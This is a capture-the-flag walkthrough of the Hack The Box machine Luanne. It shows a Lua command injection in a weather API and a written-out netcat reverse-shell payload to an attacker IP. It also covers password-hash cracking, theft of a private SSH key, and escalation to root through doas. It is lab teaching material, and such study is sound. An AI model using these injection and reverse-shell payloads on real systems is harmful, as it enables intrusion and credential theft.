Luanne is an Easy NetBSD box released back in November 2020.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
[ 10.0.0.10/16 ] [ /dev/pts/3 ] [~/HTB]
→ nmap -vvv -p- 10.10.10.218 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 80/tcp on 10.10.10.218
Discovered open port 22/tcp on 10.10.10.218
Discovered open port 9001/tcp on 10.10.10.218
[ 10.0.0.10/16 ] [ /dev/pts/3 ] [~/HTB]
→ nmap -sCV -p80,22,9001 10.10.10.218
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-06 08:52 CEST
Nmap scan report for 10.10.10.218
Host is up (0.027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp open http nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.07 seconds
Our nmap scan picked up port 80 so let's investigate it:
Here we don't have access yet, but we are hinted towards a certain local port 3000 that our nmap scan didn't pick up earlier. Now let's take a look at the Medusa service on port 9001:
Now on the medusa service, we also have some basic auth with a different 401 response page. Not much here either, so let's move back to the port 80, on http-robots.txt there was the ./weather directory disallowed entry, so let's run gobuster on it:
[ 10.0.0.10/16 ] [ /dev/pts/3 ] [~/HTB]
→ gobuster dir -u http://10.10.10.218/weather/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.218/weather/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/06/06 09:11:55 Starting gobuster in directory enumeration mode
===============================================================
/forecast (Status: 200) [Size: 90]
And here we get the /weather/forecast/ page so let's investigate it:
Here we see that we should have specified a city, so let's send intercept request into burpsuite and test if there are any injections we can do:
Let's list the cities as advised:
So we are able to get the weather data of any city. But we don't know yet if the city input is sanitized, so let's try to escape it to cause an error:
And now we have more info! We managed to pickup the fact that this is a .lua file located in /usr/local/webapi/weather.lua, now let's try to poke at it further to see if we have any command execution, to do so we need to comment out the rest of the line using --
Now from here let's try to inject other commands after the ;
Now we have been able to inject another command! However let's go further and attempt to use system commands:
And that's it! We have access to system commands, so let's spawn a reverse shell with it now:
#our first RCE
GET /weather/forecast?city=London');print("\nnihilist777\n");os.execute("id")-- HTTP/1.1
#RCE with reverse shell payload
GET /weather/forecast?city=London');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 9002 >/tmp/f")-- HTTP/1.1
#URL encoded reverse shell payload (just select it in burpsuite, and hit CTRL+U to URL-Encode)
GET /weather/forecast?city=London')%3bos.execute("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.13+9002+>/tmp/f")-- HTTP/1.1
#prepare to catch the reverse shell with nc:
[ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne]
→ nc -lvnp 9002
listening on [any] 9002 ...
And we get a reverse shell connection!
[ 10.10.14.13/23 ] [ /dev/pts/27 ] [~/HTB/Luanne]
→ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.218] 65436
sh: can't access tty; job control turned off
$ id
uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)
$ ls -lash
total 1.5K
2.0K drwxr-xr-x 2 root wheel 512B Nov 25 2020 .
2.0K drwxr-xr-x 24 root wheel 512B Nov 24 2020 ..
2.0K -rw-r--r-- 1 root wheel 47B Sep 16 2020 .htpasswd
2.0K -rw-r--r-- 1 root wheel 386B Sep 17 2020 index.html
2.0K -rw-r--r-- 1 root wheel 78B Nov 25 2020 robots.txt
Running a simple ls shows us that there's a .htpasswd file, so let's get it:
$ cat .htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
Let's crack the hash using john locally:
[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ vim htpasswd.hash
[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: $1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
Possible Hashs:
[+] MD5(Unix)
--------------------------------------------------
HASH: ^C
Bye!
[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ cat htpasswd.hash
$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ john htpasswd.hash -w=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iamthebest (?)
1g 0:00:00:00 DONE (2021-06-06 10:40) 12.50g/s 38400p/s 38400c/s 38400C/s my3kids..ANTHONY
Use the "--show" option to display all of the cracked passwords reliably
Session completed
And there we go we managed to get the webapi_user password iamthebest so let's login:
Although that's too bad, the webapi_user isn't of much use yet. Back on our reverse shell, let's enumerate the box with linpeas.sh
$ wget -V
sh: wget: not found
$ curl -V
curl 7.71.0 (x86_64--netbsd) libcurl/7.71.0 OpenSSL/1.1.1d zlib/1.2.10 libidn2/2.3.0 nghttp2/1.41.0
Release-Date: 2020-06-24
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS GSS-API HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB SPNEGO SSL TLS-SRP UnixSockets
We're going to use curl to get linpeas.sh onto the box:
[term1]
[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh .
[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[term2]
$ curl http://10.10.14.13:9090/linpeas.sh > /tmp/peas.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 333k 100 333k 0 0 856k 0 --:--:-- --:--:-- --:--:-- 853k
$ chmod +x /tmp/peas.sh
$ /tmp/peas.sh
Also note how it cannot display the colored linpeas logo because we're not inside of bash:
As you scroll through the linpeas output you see the following hint that we need to privesc to the r.micahels user:
$ ps auxw | grep http
_httpd 97 0.0 0.0 35256 2328 ? I 8:30AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/
r.michaels 185 0.0 0.0 34996 1988 ? Is 6:50AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home
Since this is a localhost service running on port 3001, we're going to use curl from the box:
$ curl http://127.0.0.1:3001
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 199 100 199 0 0 99500 0 --:--:-- --:--:-- --:--:-- 99500
401 Unauthorized
401 Unauthorized
/: No authorization
127.0.0.1:3001
Since we get a 401 Unauthorized error, let's pass the credentials we found earlier as arguements:
$ curl http://127.0.0.1:3001/ --user webapi_user:iamthebest
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 386 100 386 0 0 77200 0 --:--:-- --:--:-- --:--:-- 77200
Index
Weather Forecast API
List available cities:
/weather/forecast?city=list
Five day forecast (London)
/weather/forecast?city=London
And here we see that the credentials worked ! Now let's try to get the r.michael user's private SSH key:
$ curl http://127.0.0.1:3001/~r.michaels/id_rsa --user webapi_user:iamthebest
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2610 100 2610 0 0 637k 0 --:--:-- --:--:-- --:--:-- 637k
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
And there you go ! now let's login as the r.michaels user via ssh:
[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ vim id_rsa
[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ file id_rsa
id_rsa: OpenSSH private key
[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ chmod 600 id_rsa
[ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne]
→ ssh r.michaels@10.10.10.218 -i id_rsa
The authenticity of host '10.10.10.218 (10.10.10.218)' can't be established.
ECDSA key fingerprint is SHA256:KB1gw0t+80YeM3PEDp7AjlTqJUN+gdyWKXoCrXn7AZo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.218' (ECDSA) to the list of known hosts.
Last login: Fri Sep 18 07:06:51 2020
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020
Welcome to NetBSD!
luanne$ id
uid=1000(r.michaels) gid=100(users) groups=100(users)
luanne$ ls
backups devel public_html user.txt
luanne$ cat user.txt
eaXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And there you go! We managed to login as the r.michaels user and print out the user flag.
Now that's done, let's run linpeas again as the r.michaels user:
luanne$ curl http://10.10.14.13:9090/linpeas.sh > /tmp/peas.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 333k 100 333k 0 0 899k 0 --:--:-- --:--:-- --:--:-- 899k
luanne$ chmod +x /tmp/peas.sh
luanne$ /tmp/peas.sh
Now as we scroll through the output, we see the following backup file:
Here we have doas, an alternative to the sudo command, scrolling further we see an encrypted backup file:
Since this is a NetBSD box, we can decrypt it with netpgp:
luanne$ ls
backups devel public_html user.txt
luanne$ cd backups/
luanne$ ls -l
total 4
-r-------- 1 r.michaels users 1970 Nov 24 2020 devel_backup-2020-09-16.tar.gz.enc
luanne$ netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output=/tmp/backup.tar.gz
signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a
uid RSA 2048-bit key <r.michaels@localhost>
luanne$ cd /tmp
luanne$ tar -xvf backup.tar.gz
x devel-2020-09-16/
x devel-2020-09-16/www/
x devel-2020-09-16/webapi/
x devel-2020-09-16/webapi/weather.lua
x devel-2020-09-16/www/index.html
x devel-2020-09-16/www/.htpasswd
luanne$ cat devel-2020-09-16/www/.htpasswd
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
Once the backup is extracted, we see that we get another password hash for the webapi_user so let's crack it with john just like the previous one:
[ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne]
→ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: $1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu
Not Found.
--------------------------------------------------
HASH: $1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
Possible Hashs:
[+] MD5(Unix)
--------------------------------------------------
Make sure you include the . at the end, it is actually part of the hash:
[ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne]
→ cat hash2
$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
[ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne]
→ john -w=/usr/share/wordlists/rockyou.txt hash2
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
littlebear (?)
1g 0:00:00:00 DONE (2021-06-06 11:18) 11.11g/s 145066p/s 145066c/s 145066C/s jayar..hello11
Use the "--show" option to display all of the cracked passwords reliably
Session completed
And there we go! We managed to get the second webapi_user password, let's test if we can privesc to the root user with the doas binary we found earlier:
luanne$ doas su
Password:
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)
# cat /root/root.txt
7aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to privesc to the root user and print out the root flag.
Here we can see the progress graph :